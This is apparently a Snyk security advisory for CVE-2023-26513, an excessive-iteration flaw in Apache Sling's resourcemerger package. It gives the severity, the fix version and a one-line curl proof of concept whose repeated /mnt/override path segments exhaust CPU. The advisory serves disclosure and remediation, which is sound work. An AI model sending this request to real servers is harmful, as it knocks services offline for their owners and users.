Excessive Iteration Affecting org.apache.sling:org.apache.sling.resourcemerger package, versions [1.2.3, 1.4.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.16% (54th percentile)

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  • Snyk IDSNYK-JAVA-ORGAPACHESLING-3365677
  • published20 Mar 2023
  • disclosed20 Mar 2023
  • creditAlex Collignon

Introduced: 20 Mar 2023

CVE-2023-26513  (opens in a new tab)
CWE-834  (opens in a new tab)

How to fix?

Upgrade org.apache.sling:org.apache.sling.resourcemerger to version 1.4.2 or higher.

Overview

org.apache.sling:org.apache.sling.resourcemerger is a module that provides services to merge resources

Affected versions of this package are vulnerable to Excessive Iteration which exhausts excessive CPU, when processing a malicious path.

PoC

curl -u <user>:<pass> http://localhost:4502/aem/start.html//mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override/mnt/override

CVSS Base Scores

version 3.1